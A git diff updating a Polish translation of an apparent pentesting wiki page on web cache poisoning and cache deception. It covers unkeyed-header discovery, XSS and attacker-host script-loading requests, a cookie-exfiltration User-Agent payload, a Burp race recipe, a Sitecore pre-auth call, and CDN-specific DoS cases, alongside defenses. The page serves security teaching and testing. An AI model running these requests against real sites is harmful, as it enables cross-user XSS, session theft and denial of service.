**Wykorzystanie parametrów niekluczowych**: Po zidentyfikowaniu parametrów niekluczowych następnym krokiem jest ustalenie, jak nadużyć tych parametrów, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego. +3. **Upewnienie się, że skażona odpowiedź jest zapisana w cache**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź zostanie zapisana w cache. Dzięki temu każdy użytkownik odwiedzający zaatakowaną stronę w czasie trwania zanieczyszczenia cache otrzyma skażoną odpowiedź. -### Discovery: Check HTTP headers +### Odkrywanie: Sprawdź nagłówki HTTP -Zazwyczaj, gdy odpowiedź została **zapisana w cache**, pojawi się **nagłówek to wskazujący**; możesz sprawdzić, na które nagłówki powinieneś zwracać uwagę w tym wpisie: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Zwykle, gdy odpowiedź została **zapisana w cache**, pojawi się **nagłówek to wskazujący**; możesz sprawdzić, na które nagłówki zwrócić uwagę w tym wpisie: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). -### Discovery: Caching error codes +### Odkrywanie: Kody błędów w cache -Jeśli podejrzewasz, że odpowiedź jest zapisywana w cache, możesz spróbować **wysłać żądania z nieprawidłowym nagłówkiem**, na co serwer powinien odpowiedzieć **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do zasobu normalnie — jeśli **odpowiedź ma kod 400**, wiesz, że jest podatne (i możesz nawet przeprowadzić DoS). +Jeśli uważasz, że odpowiedź jest zapisywana w cache, możesz spróbować **wysłać żądania z niepoprawnym nagłówkiem**, na które powinna zostać zwrócona **odpowiedź ze statusem 400**. Następnie spróbuj uzyskać dostęp do tego żądania normalnie i jeśli **odpowiedź ma status 400**, wiesz, że jest to podatne (i możesz nawet wykonać DoS). -You can find more options in: +Możesz znaleźć więcej opcji w: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -Zwróć uwagę jednak, że **czasami tego typu kody statusu nie są zapisywane w cache**, więc ten test może być nierzetelny. +Jednak zwróć uwagę, że **czasami tego typu kody statusu nie są zapisywane w cache**, więc ten test może być zawodny. -### Discovery: Identify and evaluate unkeyed inputs +### Odkrywanie: Identyfikacja i ocena parametrów niekluczowych -Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** które mogą **zmieniać odpowiedź strony**. Na przykład strona może używać nagłówka `X-Forwarded-For` aby wskazać klientowi, żeby stamtąd załadował skrypt: +Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) do **brute-force parameters and headers**, które mogą **zmieniać odpowiedź strony**. Na przykład strona może używać nagłówka `X-Forwarded-For` aby wskazać klientowi, żeby załadował skrypt stamtąd: ```html ``` -### Wywołaj szkodliwą odpowiedź z back-endu +### Wywołaj szkodliwą odpowiedź z serwera back-end -With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...) +Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest **sanityzowany** i **gdzie** jest **odbijany** albo wpływa na odpowiedź z nagłówka. Czy można to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez Ciebie kod JS? wykonać DoS?...) -### Uzyskaj zapis odpowiedzi w cache +### Uzyskaj zapisanie odpowiedzi w cache -Gdy już **zidentyfikujesz** **page**, którą można wykorzystać, który **parameter**/**header** użyć i **jak** ją **abuse**'ować, musisz sprawić, by strona została zapisana w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to zająć trochę czasu — może być konieczne powtarzanie prób przez kilka sekund. +Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który **parametr**/**nagłówek** użyć i **jak** go **wykorzystać**, musisz sprawić, żeby strona została zapisana w cache. W zależności od zasobu, który próbujesz umieścić w cache, może to potrwać — może być konieczne wielokrotne próbowanie przez kilka sekund. -The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\ -The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800` +Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w cache i wartość **`hit`** gdy jest zapisane w cache.\ +Nagłówek **`Cache-Control`** jest również interesujący, by wiedzieć, czy zasób jest cachowany i kiedy nastąpi kolejne odświeżenie cache: `Cache-Control: public, max-age=1800` -Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`. +Inny ciekawy nagłówek to **`Vary`**. Ten nagłówek często służy do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza cache**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli atakujący zna `User-Agent` ofiary, którą celuje, może poison the cache dla użytkowników korzystających z tego konkretnego `User-Agent`. -One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache. +Kolejny nagłówek związany z cache to **`Age`**. Określa czas w sekundach, przez jaki obiekt przebywał w cache proxy. -When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **part of the key** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working. +Podczas cachowania żądania bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **nieoczekiwanie traktowane** jako **kluczowane** i **ofiara będzie musiała używać tego samego nagłówka**. Zawsze **testuj** Cache Poisoning w **różnych przeglądarkach**, aby sprawdzić, czy działa. ## Przykłady wykorzystania ### Najprostszy przykład -A header like `X-Forwarded-For` is being reflected in the response unsanitized.\ -You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed: +Nagłówek taki jak `X-Forwarded-For` jest odzwierciedlany w odpowiedzi bez sanitizacji.\ +Możesz wysłać podstawowy payload XSS i poison the cache, tak aby każdy, kto odwiedzi stronę, został XSSed: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -83,21 +83,21 @@ cache-poisoning-to-dos.md W **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wyjaśniono następujący prosty scenariusz: -- CDN będzie przechowywać w cache wszystko znajdujące się pod `/share/` -- CDN NIE dekoduje ani nie normalizuje `%2F..%2F`, dlatego może być użyty jako **path traversal do uzyskania dostępu do innych wrażliwych lokalizacji, które będą przechowywane w cache** jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- Serwer WWW ZDEKODUJE i znormalizuje `%2F..%2F`, i odpowie zasobem `/api/auth/session`, który **zawiera auth token** +- The CDN will cache anything under `/share/` +- The CDN will NOT decode nor normalize `%2F..%2F`, therefore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**. ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać do wywołania XSS, na przykład, możesz być w stanie wykorzystać XSS w wielu klientach, które ładują złośliwą odpowiedź z cache. +Cookies mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać, aby spowodować XSS na przykład, mógłbyś być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache. ```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -Zwróć uwagę, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache. +Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, zwykłe żądania będą czyścić cache. -### Generowanie rozbieżności przy użyciu separatorów, normalizacji i kropek +### Generowanie rozbieżności za pomocą separatorów, normalizacji i kropek Sprawdź: @@ -106,9 +106,9 @@ Sprawdź: cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning przy użyciu path traversal w celu kradzieży API key +### Cache poisoning z path traversal, aby ukraść API key -[**Ten opis wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), jak było możliwe skraść OpenAI API key za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko pasujące do `/share/*` będzie cached bez normalizowania URL przez Cloudflare, co było wykonywane, gdy żądanie docierało do serwera WWW. +[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było wykradzenie OpenAI API key przy użyciu URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko pasujące do `/share/*` będzie cachowane bez normalizacji URL przez Cloudflare, która była wykonywana dopiero gdy żądanie dotarło do serwera WWW. To jest też lepiej wyjaśnione w: @@ -117,18 +117,18 @@ To jest też lepiej wyjaśnione w: cache-poisoning-via-url-discrepancies.md {{#endref}} -### Używanie wielu nagłówków do wykorzystania web cache poisoning vulnerabilities +### Użycie wielu nagłówków do wykorzystania web cache poisoning vulnerabilities -Czasami będziesz musiał **exploitować kilka unkeyed inputs**, aby móc nadużyć cache. Na przykład możesz znaleźć **Open redirect**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez siebie i `X-Forwarded-Scheme` na `http`. **Jeśli** **serwer** **przekierowuje** wszystkie żądania **HTTP** **na HTTPS** i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania, możesz kontrolować, dokąd strona zostanie przekierowana. +Czasami będziesz musiał **exploit several unkeyed inputs**, aby móc nadużyć cache. Na przykład możesz znaleźć **Open redirect**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez Ciebie i `X-Forwarded-Scheme` na `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania, możesz kontrolować, gdzie strona jest skierowana przez to przekierowanie. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Wykorzystywanie przy ograniczonym nagłówku `Vary` +### Eksploatacja przy ograniczonym nagłówku `Vary` -Jeśli ustalisz, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek odpowiedzi **`Vary`** wskazuje **`User-Agent`**, musisz znaleźć sposób, aby exfiltrate User-Agent ofiary i poison the cache używając tego User-Agenta: +Jeśli odkryjesz, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do załadowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje **`User-Agent`**, musisz znaleźć sposób, aby exfiltrate `User-Agent` ofiary i poison the cache używając tego `User-Agent`: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -137,7 +137,7 @@ X-Host: attacker.com ``` ### Fat Get -Wyślij żądanie GET, umieszczając request zarówno w URL, jak i w body. Jeśli web server użyje wartości z body, a cache server zapisze w cache wartość z URL, każdy, kto odwiedzi ten URL, faktycznie użyje parametru z body. Jak vuln, który James Kettle znalazł na stronie Github: +Wyślij żądanie GET z żądaniem w URL i w body. Jeśli web server użyje wartości z body, ale cache server zbuforuje wersję z URL, każdy uzyskujący dostęp do tego URL faktycznie będzie używał parametru z body. Jak vuln, który James Kettle znalazł na stronie Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -146,63 +146,63 @@ Content-Length: 22 report=innocent-victim ``` -There is a Portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +Jest lab PortSwigger dotyczący tego: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Cloacking -Na przykład możliwe jest rozdzielanie **parameters** na serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. To może być użyte do umieszczenia wartości niekluczowanych parameters wewnątrz kluczowanych i ich nadużycia. +Na przykład w serwerach ruby można oddzielać **parameters** przy użyciu znaku **`;`** zamiast **`&`**. Można to wykorzystać do umieszczenia wartości parametrów bez klucza (unkeyed) wewnątrz parametrów z kluczem (keyed) i ich nadużycia. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -Dowiedz się tutaj, jak wykonać [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). +Dowiedz się tutaj, jak wykonywać [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning). ### Automated testing for Web Cache Poisoning -The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być użyty do automatycznego testowania pod kątem web cache poisoning. Wspiera wiele różnych technik i jest wysoko konfigurowalny. +Narzędzie [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być użyte do automatycznego testowania pod kątem Web Cache Poisoning. Obsługuje wiele różnych technik i jest wysoko konfigurowalne. Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Ten wzorzec z rzeczywistego świata łączy header-based reflection primitive z zachowaniem CDN/WAF, aby niezawodnie zatruć zbuforowany HTML serwowany innym użytkownikom: +Ten rzeczywisty wzorzec łączy primitive oparte na refleksji nagłówka z zachowaniem CDN/WAF, aby niezawodnie zatruć zbuforowany HTML serwowany innym użytkownikom: -- Główny HTML odzwierciedlał nieufny request header (np. `User-Agent`) do kontekstu wykonywalnego. -- CDN usuwał cache headers, ale istniał cache wewnętrzny/origin. CDN również auto-cache'ował żądania kończące się na statyczne rozszerzenia (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści dla GETs dotyczących statycznych assetów. -- Dziwactwa przepływu requestów pozwalały, aby żądanie do ścieżki `.js` wpłynęło na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez header reflection. +- Główny HTML odzwierciedlał niezaufany nagłówek żądania (np. `User-Agent`) w kontekście możliwym do wykonania. +- CDN usuwał nagłówki cache, ale istniała pamięć podręczna wewnętrzna/origin. CDN także automatycznie cachował żądania kończące się statycznymi rozszerzeniami (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści dla GETów zasobów statycznych. +- Szczegóły przepływu żądań pozwalały, by żądanie do ścieżki `.js` wpłynęło na cache key/variant używany dla kolejnego głównego HTML, umożliwiając cross-user XSS przez odzwierciedlenie nagłówka. -Praktyczny przepis (zaobserwowany na popularnym CDN/WAF): +Praktyczny przepis (obserwowany w popularnym CDN/WAF): -1) Z czystego IP (unikaj wcześniejszych obniżeń reputacji), ustaw złośliwy `User-Agent` przez przeglądarkę lub Burp Proxy Match & Replace. -2) W Burp Repeater przygotuj grupę dwóch requestów i użyj "Send group in parallel" (najlepiej w trybie single-packet): -- Pierwsze żądanie: GET zasób `.js` na tym samym originie wysyłając złośliwy `User-Agent`. -- Bezpośrednio po tym: GET głównej strony (`/`). -3) Wyścig routingu CDN/WAF plus auto-cached `.js` często seeduje zatruwaną zbuforowaną wariantę HTML, która potem jest serwowana innym odwiedzającym dzielącym te same warunki cache key (np. te same wymiary `Vary` jak `User-Agent`). +1) Z czystego IP (unikaj wcześniejszych obniżeń reputacji) ustaw złośliwy `User-Agent` przez przeglądarkę lub Burp Proxy Match & Replace. +2) W Burp Repeater przygotuj grupę dwóch żądań i użyj "Send group in parallel" (najlepiej w trybie single-packet): +- Pierwsze żądanie: GET zasobu `.js` na tym samym origin, wysyłając złośliwy `User-Agent`. +- Natychmiast potem: GET główną stronę (`/`). +3) Wyścig routingu CDN/WAF oraz automatycznie cachowane `.js` często powodują wprowadzenie zainfekowanego wariantu zbuforowanego HTML, który następnie jest serwowany innym odwiedzającym spełniającym te same warunki klucza cache (np. te same wymiary `Vary` jak `User-Agent`). -Example header payload (to exfiltrate non-HttpOnly cookies): +Przykładowy ładunek nagłówka (do eksfiltracji non-HttpOnly cookies): ``` User-Agent: Mo00ozilla/5.0" ``` Operational tips: -- Wiele CDN ukrywa nagłówki cache; poisoning może być widoczny tylko przy wielogodzinnych cyklach odświeżania. Używaj wielu punktów obserwacyjnych (różnych adresów IP) i stosuj throttle, aby uniknąć wyzwalaczy rate-limit lub problemów z reputacją. -- Użycie IP z własnej chmury CDN czasami poprawia spójność routingu. -- Jeśli obecna jest restrykcyjna CSP, wciąż to działa, jeśli refleksja wykonuje się w głównym kontekście HTML i CSP pozwala na inline execution lub jest obejście zależne od kontekstu. +- Wiele CDN ukrywa nagłówki cache; poisoning może być widoczny tylko przy cyklach odświeżania trwających wiele godzin. Użyj wielu vantage IP i ograniczaj ruch (throttle), aby uniknąć wyzwalaczy rate-limit lub problemów z reputacją. +- Korzystanie z adresu IP z własnej chmury CDN czasami poprawia spójność routingu. +- Jeśli obowiązuje ścisły CSP, nadal to działa, o ile reflection wykonuje się w głównym kontekście HTML i CSP zezwala na inline execution lub jest obejdany przez kontekst. Impact: -- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML. +- Jeśli session cookies aren’t `HttpOnly`, zero-click ATO jest możliwy przez mass-exfiltrating `document.cookie` od wszystkich użytkowników, którym serwowany jest poisoned HTML. Defenses: -- Przestań odzwierciedlać request headers w HTML; jeśli to nieuniknione, ściśle context-encode. Zsynchronizuj polityki cache CDN i origin i unikaj wariacji w oparciu o niezaufane nagłówki. -- Upewnij się, że WAF stosuje inspekcję treści konsekwentnie do żądań `.js` i ścieżek statycznych. +- Przestań odzwierciedlać request headers w HTML; jeśli to nieuniknione, koduj ściśle zgodnie z kontekstem. Dopasuj polityki cache CDN i origin oraz unikaj wariacji zależnych od nieufnych nagłówków. +- Upewnij się, że WAF stosuje content inspection konsekwentnie dla żądań `.js` i ścieżek statycznych. - Ustaw `HttpOnly` (oraz `Secure`, `SameSite`) na session cookies. ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) -Wzorzec specyficzny dla Sitecore umożliwia nieuwierzytelnione zapisy do HtmlCache poprzez nadużycie pre‑auth XAML handlerów i odbicia AjaxScriptManager. Kiedy osiągany jest handler `Sitecore.Shell.Xaml.WebControl`, dostępny jest `xmlcontrol:GlobalHeader` (pochodzący z `Sitecore.Web.UI.WebControl`) i dozwolone jest wykonanie następującego reflective call: +Wzorzec specyficzny dla Sitecore umożliwia nieautoryzowane zapisy do HtmlCache poprzez nadużycie pre‑auth XAML handlers i AjaxScriptManager reflection. Gdy obsługa `Sitecore.Shell.Xaml.WebControl` zostanie wywołana, dostępny jest `xmlcontrol:GlobalHeader` (pochodzący z `Sitecore.Web.UI.WebControl`) i dozwolony jest następujący reflective call: ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl Content-Type: application/x-www-form-urlencoded @@ -221,45 +221,45 @@ For full details (cache key construction, ItemService enumeration and a chained ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS przekazywał fragment URL bez jego usuwania i generował cache key używając wyłącznie host, path i query (ignorując fragment). W efekcie żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)`, a cache key nie zawierał payloadu, tylko host, path i query. +ATS przekazywał fragment znajdujący się w URL bez jego usuwania i generował cache key używając jedynie hosta, ścieżki i query (ignorując fragment). Zatem żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)`, a cache key nie zawierał payloadu, jedynie host, ścieżkę i query. ### GitHub CP-DoS -Wysłanie nieprawidłowej wartości w nagłówku content-type powodowało zwrócenie zcache’owanej odpowiedzi 405. Cache key zawierał cookie, więc atak był możliwy jedynie przeciwko niezalogowanym użytkownikom. +Wysłanie niepoprawnej wartości w nagłówku content-type wywoływało zbuforowaną odpowiedź 405. Cache key zawierał cookie, więc atak możliwy był tylko na niezalogowanych użytkowników. ### GitLab + GCP CP-DoS -GitLab używa GCP buckets do przechowywania statycznych treści. **GCP Buckets** obsługują nagłówek **`x-http-method-override`**. Dzięki temu możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i popoisowanie cache, by zwracał pusty body odpowiedzi. Obsługiwana mogła być też metoda `PURGE`. +GitLab używa GCP buckets do przechowywania statycznych treści. **GCP Buckets** obsługują **header `x-http-method-override`**. Dzięki temu możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie cache tak, by zwracał pusty body odpowiedzi. Może też obsługiwać metodę `PURGE`. ### Rack Middleware (Ruby on Rails) -W aplikacjach Ruby on Rails często używa się Rack middleware. Kod Rack pobiera wartość nagłówka `x-forwarded-scheme` i ustawia ją jako scheme żądania. Gdy wysłano `x-forwarded-scheme: http`, następowało przekierowanie 301 do tej samej lokalizacji, co potencjalnie mogło spowodować DoS dla tego zasobu. Dodatkowo aplikacja może respektować nagłówek `X-forwarded-host` i przekierować użytkowników na wskazany host. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, stanowiąc zagrożenie. +W aplikacjach Ruby on Rails często wykorzystywany jest Rack middleware. Kod Rack pobiera wartość nagłówka **`x-forwarded-scheme`** i ustawia ją jako scheme żądania. Gdy wysłany jest nagłówek `x-forwarded-scheme: http`, następuje przekierowanie 301 do tej samej lokalizacji, co może powodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może honorować nagłówek `X-forwarded-host` i przekierowywać użytkowników na wskazany host. Takie zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi ryzyko bezpieczeństwa. ### 403 and Storage Buckets -Cloudflare wcześniej cache’ował odpowiedzi 403. Próby dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization zwracały 403, które były cachowane. Choć Cloudflare przestał cachować 403, to zachowanie może nadal występować w innych serwisach proxy. +Cloudflare wcześniej cachował odpowiedzi 403. Próby uzyskania dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami Authorization skutkowały odpowiedzią 403, która była cache'owana. Chociaż Cloudflare przestał cache'ować odpowiedzi 403, takie zachowanie może wciąż występować w innych serwisach proxy. ### Injecting Keyed Parameters -Cache często uwzględniają konkretne GET parametry w cache key. Na przykład Fastly's Varnish cachował parametr `size`. Jednak jeśli wysłano zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, cache key był budowany używając poprawnego `size`, podczas gdy backend przetwarzał wartość zakodowanego parametru. URL-encoding drugiego `size` powodował jego pominięcie przez cache, ale użycie przez backend. Przypisanie wartości 0 do tego parametru skutkowało cache’owalnym błędem 400 Bad Request. +Cache często uwzględniają konkretne parametry GET w cache key. Na przykład Varnish Fastly cachował parametr `size` w żądaniach. Jednak jeśli wysłano zakodowaną w URL wersję parametru (np. `siz%65`) z błędną wartością, cache key był konstruowany z poprawnego parametru `size`. Backend jednak przetwarzał wartość z zakodowanego parametru. URL-encoding drugiego parametru `size` powodował jego pominięcie przez cache, ale jego użycie przez backend. Przypisanie wartości 0 do tego parametru skutkowało zwróceniem cache'owalnego błędu 400 Bad Request. ### User Agent Rules -Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby ograniczyć obciążenie serwera. Paradoksalnie, takie podejście może wprowadzać podatności, np. cache poisoning i DoS. +Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom wysokiego ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Paradoksalnie takie podejście może wprowadzać podatności, takie jak cache poisoning i DoS. ### Illegal Header Fields -[https://datatracker.ietf.org/doc/html/rfc7230](https://datatracker.ietf.org/doc/html/rfc7230) określa dozwolone znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zakresu **tchar** powinny w teorii skutkować 400 Bad Request. W praktyce serwery nie zawsze tego przestrzegają. Przykładowo Akamai przepuszcza nagłówki z nieprawidłowymi znakami i cache’uje każdy błąd 400, o ile nie ma nagłówka `cache-control`. Zidentyfikowano wykorzystywalny wzorzec, gdzie wysłanie nagłówka z nielegalnym znakiem, np. `\`, powodowało cache’owalny 400 Bad Request. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa dozwolone znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza zakresu **tchar** powinny w idealnym przypadku wywoływać 400 Bad Request. W praktyce serwery nie zawsze trzymają się tego standardu. Przykładem jest Akamai, który przekazuje nagłówki z nieprawidłowymi znakami i cache'uje dowolny błąd 400, o ile nie występuje nagłówek `cache-control`. Zidentyfikowano wzorzec umożliwiający wywołanie cache'owalnego 400 Bad Request poprzez wysłanie nagłówka z nielegalnym znakiem, takim jak `\`. -### Wyszukiwanie nowych nagłówków +### Finding new headers [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## Cache Deception -Celem Cache Deception jest sprawienie, by klienci ładowali zasoby, które zostaną zapisane w cache wraz z ich poufnymi informacjami. +Celem Cache Deception jest skłonienie klientów do załadowania zasobów, które zostaną zapisane przez cache wraz z ich poufnymi danymi. -Przede wszystkim zwróć uwagę, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itd. są zwykle **skonfigurowane**, by być **zapisane** w **cache.** Dlatego jeśli odwiedzisz `www.example.com/profile.php/nonexistent.js`, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Jednak jeśli **aplikacja** odpowiada zawartością zawierającą **poufne** dane użytkownika przechowywane w _www.example.com/profile.php_, możesz **ukraść** te dane od innych użytkowników. +Przede wszystkim zauważ, że rozszerzenia takie jak .css, .js, .png itd. są zwykle skonfigurowane tak, aby być zapisywane w cache. Dlatego jeśli uzyskasz dostęp do www.example.com/profile.php/nonexistent.js, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie .js. Jednak jeśli aplikacja odpowiada treścią zawierającą poufne dane użytkownika znajdujące się pod www.example.com/profile.php, możesz ukraść te treści od innych użytkowników. Inne rzeczy do przetestowania: @@ -270,17 +270,17 @@ Inne rzeczy do przetestowania: - _www.example.com/profile.php/%2e%2e/test.js_ - _Use lesser known extensions such as_ `.avif` -Kolejny czytelny przykład znajduje się w tym write-upie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę jak _http://www.example.com/home.php/non-existent.css_, to zawartość _http://www.example.com/home.php_ (**z poufnymi informacjami użytkownika**) zostanie zwrócona i serwer cache zapisze wynik.\ -Następnie **atakujący** może odwiedzić _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i zobaczyć **poufne informacje** użytkowników, którzy odwiedzili wcześniej. +Bardzo czytelny przykład znajduje się w tym write-upie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę taką jak _http://www.example.com/home.php/non-existent.css_, zawartość _http://www.example.com/home.php_ (**z poufnymi danymi użytkownika**) zostanie zwrócona i serwer cache zapisze wynik.\ +Następnie **attacker** może odwiedzić _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i zaobserwować **poufne informacje** użytkowników, którzy wcześniej uzyskali dostęp. -Zwróć uwagę, że **cache proxy** powinien być **skonfigurowany**, by **cache’ować** pliki **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie content-type. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał content-type `text/html` zamiast `text/css`. +Zauważ, że **cache proxy** powinien być skonfigurowany tak, by cache'ować pliki na podstawie rozszerzenia pliku (_.css_) a nie na podstawie content-type. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie mieć content-type `text/html` zamiast `text/css`. -Dowiedz się, jak przeprowadzić [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). -## Narzędzia automatyczne +## Automatyczne narzędzia -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques. +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner do znajdowania web cache poisoning podatności w liście URL-i i testowania wielu technik iniekcji. ## References diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index b3b7b355f..0c2e35990 100644 --- 